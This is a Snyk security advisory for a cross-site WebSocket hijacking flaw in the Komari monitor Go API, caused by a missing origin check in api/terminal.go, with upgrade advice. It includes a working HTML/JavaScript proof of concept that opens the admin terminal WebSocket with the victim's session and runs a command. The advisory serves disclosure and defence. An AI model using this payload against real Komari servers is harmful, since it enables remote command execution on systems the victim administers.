Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade github.com/komari-monitor/komari/api
to version 1.0.4-fix2 or higher.
Affected versions of this package are vulnerable to Missing Origin Validation in WebSockets via the CheckOrigin
function in the api/terminal.go
file. An attacker can execute arbitrary commands on the target system by tricking an authenticated user into visiting a malicious web page that initiates unauthorized WebSocket connections using the user's credentials.
<komari-addr>
and <target-uuid>
with yours.<pre></pre>
<script>
const socket = new WebSocket("wss://<komari-addr>/api/admin/client/<target-uuid>/terminal");
socket.addEventListener("open", (event) => {
const binaryBlob = new Blob(['uptime\n'], { type: 'application/octet-stream' });
socket.send(binaryBlob);
});
socket.addEventListener("message", (event) => {
event.data.text().then(x => {document.querySelector("pre").append(x)});
});
</script>